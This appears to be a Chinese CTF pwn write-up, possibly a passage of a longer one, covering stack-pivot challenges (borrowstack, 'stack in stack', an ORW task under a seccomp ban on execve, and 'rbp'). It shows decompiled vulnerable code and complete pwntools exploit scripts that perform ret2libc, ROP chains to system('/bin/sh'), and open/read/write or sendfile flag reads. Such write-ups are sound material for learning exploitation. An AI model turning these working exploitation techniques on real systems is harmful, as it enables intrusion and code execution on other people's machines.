# 构造栈溢出 payload,覆盖返回地址,为下一次调用做准备
payload2 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511) # 0x0804A300 为 bss 段地址,0x08048511 为 level 函数返回地址
p.send(payload2)

# 接收 write 的地址并解析
write_addr = u32(p.recv(4))
log.success("Leaked write address: " + hex(write_addr))

# 使用 LibcSearcher 查找 libc 基址及 system 和 "/bin/sh" 地址
obj = LibcSearcher('write', write_addr)
libc_base = write_addr - obj.dump('write')
sys_addr = libc_base + obj.dump('system')
bin_sh_addr = libc_base + obj.dump('str_bin_sh')

# 第二次交互:发送调用 system("/bin/sh") 的 payload
p.recvuntil('What is your name?')
payload3 = b'aaaa' + p32(sys_addr) + p32(0) + p32(bin_sh_addr)
p.send(payload3)

# 再次接收提示
p.recvuntil('What do you want to say?')

# 再次构造栈溢出 payload,确保程序流正确执行
payload4 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511)
p.send(payload4)

# 进入交互模式,获取 shell
p.interactive()

gyctf_2020_borrowstack

这题不难也记录一下题目和exp就可以了

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("锛積lcome to Stack bank,Tell me what you want");
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL); //bank在bss段
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

# 连接到远程服务器
p = remote('node4.buuoj.cn', 25199)

# 设置环境参数
context(arch='amd64', os='linux', log_level='debug')

# 加载 libc 和 程序的 ELF 文件
libc = ELF('libc-2.23.so')
e = ELF('./a')

# 获取 plt 和 got 中 puts 的地址
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']

# 常量地址定义
pop_rdi_addr = 0x400703 # pop rdi; ret 指令的地址
level_ret_addr = 0x400699 # level 函数返回地址
bss_addr = 0x601080 # bss 段地址
ret_addr = 0x4004c9 # ret 指令地址
main_addr = 0x400626 # main 函数地址

# 第一个 payload:填充栈并跳转到 level_ret_addr
payload1 = 0x60 * b'a' + p64(bss_addr) + p64(level_ret_addr)
p.send(payload1)

# 第二个 payload:执行 ret 多次,然后调用 puts 泄露地址,并回到 main 函数
payload2 = p64(ret_addr) * 20 # 使用至少 20 个 ret 指令
payload2 += p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) # 调用 puts 泄露 puts 地址
payload2 += p64(main_addr) # 返回到 main 函数
p.sendafter(b'Done!You can check and use your borrow stack now!\n', payload2)

# 接收泄露的 puts 地址
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(f"Leaked puts address: {hex(puts_addr)}")

# 计算 libc 基地址和 shell 地址
libc_base = puts_addr - libc.symbols['puts']
shell = libc_base + 0x4526a system("/bin/sh") 地址
print(f"Shell address: {hex(shell)}")

# 第三个 payload:覆盖返回地址为 shell 地址
payload3 = 0x60 * b'a' + p64(0xdeadbeef) + p64(shell)
p.recvuntil(b'u want\n')
p.send(payload3)

# 接收提示后发送 '1'
p.recvuntil(b'Done!You can check and use your borrow stack now!\n')
p.send(b'1')

# 进入交互模式
p.interactive()

Basectf2024 stack in stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

sub_4011FE(a1, a2, a3);
memset(buf, 0, sizeof(buf));
puts("It looks like something fell off mick0960.");
printf("%p\n", buf);
if ( (int)read(0, buf, 0x40uLL) < 0 )
{
perror("An error occurred while reading!");
exit(1);
}
return 0LL;
}

这里主要利用了栈迁移,进行第一次泄露puts的地址,并且返回main。再次进行栈迁移,执行ROP链getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p = process('./pwn')
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
print(hex(buf_addr))
main_addr = 0x40124a
leave = 0x4012f2
sub_4011C6 = 0x4011dd #泄露puts的地址

payload = p64(0) + p64(sub_4011C6) + p64(0) + p64(main_addr)
payload += p64(0)*2
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym.puts
print(hex(libc_base))
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
#gdb.attach(p)
#pause()

system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2a3e5 #在libc.so.6找
ret = 0x40101a
#gdb.attach(p)
#pause()

payload = b'aaaa' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0)
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.interactive()
1
ROPgadget --binary libc.so.6 --only "pop|ret"  #查找pop_rdi的偏移

[SWPUCTF 2024 秋季新生赛]不可名状的东西

栈迁移+ORW

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

init(argc, argv, envp);
puts("Please enter your name!");
read(0, buf, 0x98uLL);
return 0;
}

0x98 - 0x80 -0x08 = 16太短栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 23555)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011C8, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*8+p64(leave_ret+1)+p64(leave_ret+1)+p64(leave_ret+1)+p64(0x4011C5)+p64(binsh_addr)+p64(system_addr)
payload =payload.ljust(0x80,b'a')
payload+=p64(bss + 0x200 - 0x8)+p64(leave_ret)

sleep(0.5)
io.send(payload)

io.interactive()

开始直接用system(/bin/sh)打失败了

1
2
3
4
5
6
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

execve被禁了

用ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
payload = (
# 1. 在内存中写入目标文件路径 "./flag\x00"(末尾补\x00对齐8字节)
b"./flag\x00\x00" # 字符串占6字节,补2个\x00凑8字节,存放在栈上

# 2. 调用open函数打开文件:open("./flag", O_RDONLY)
+ p64(0x4011C5) # pop rdi; ret(用于给rdi传参)
+ p64(bss + 0x200) # rdi = 字符串存放地址(./flag的地址)
+ p64(pop_rsi) # pop rsi; ret(用于给rsi传参)
+ p64(0) # rsi = 0(O_RDONLY,只读模式)
+ p64(open_addr) # 调用open函数,此时栈顶为open地址,执行后打开文件

# 3. 调用read函数读取文件内容:read(fd, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(3) # rdi = 3(假设open返回的文件描述符为3)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(存放读取内容的内存地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(读取的字节数)
+ p64(read_addr) # 调用read函数,读取文件内容到缓冲区

# 4. 调用write函数输出内容:write(stdout, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(1) # rdi = 1(stdout,标准输出)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(之前存放读取内容的地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(输出的字节数)
+ p64(write_addr) # 调用write函数,将读取到的flag输出到屏幕

20*8 = 160 >0x80所以不能,最终用open + sendflie成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 24512)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011BB, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")


pop_rdx_rbx = libc_base + 0x904a9
pop_rsi = libc_base + 0x2be51
pop_rcx = libc_base + 0x3d1ee

open_addr = libc_base + libc.sym['open']
sendfile = libc_base + libc.sym['sendfile']

payload3 = b"./flag\x00\x00" + p64(0x4011C5) + p64(bss + 0x200) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload3 += p64(0x4011C5) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rdx_rbx) + p64(0)*2 + p64(pop_rcx) + p64(0x40) + p64(sendfile)
payload3 += p64(bss + 0x200)+ p64(leave_ret)


sleep(0.5)
io.send(payload3)

io.interactive()

[NSSRound#14 Basic]rbp

这题就是0x210可以用ORW,我一开始用sendflie可是没通。

1
2
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rcx ; ret"
0x0000000000118d4f : pop rcx ; ret 0xf66

感觉是不是0xf66导致pop rcx不能用,就直接用orw了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from ctypes import *
from struct import pack
banary = "./rbp"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("libc.so.6")
ip = 'node4.anna.nssctf.cn'
port = 28184
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
offset = 0x210
pop_rdi=0x0000000000401353
pop_rbp=0x00000000004011bd
read=0x0000000000401292
leave_ret=0x000000000040121d
ret=0x000000000040101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss = 0x404060 + 0x700
pop_rsi_r15=0x0000000000401351

ru("try it")
payload=b'A'*0x210+p64(bss+0x210)+p64(read)
s(payload)

sleep(0.5)
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(bss + offset + 0x200)+p64(read)
payload=payload.ljust(0x210,b'\x00')+p64(bss-8)+p64(leave_ret)
s(payload)
libcbase=uu64()-libc.sym['puts']
lg("libcbase;"+hex(libcbase))
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pop_rdx=libcbase+0x0000000000142c92

sleep(0.5)
flag_addr=bss + 0x200
payload=b'flag'.ljust(8,b'\x00')
payload+=p64(ret)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(write)
payload=payload.ljust(0x210,b'\x00')+p64(bss + 0x200)+p64(leave_ret)
s(payload)

ia()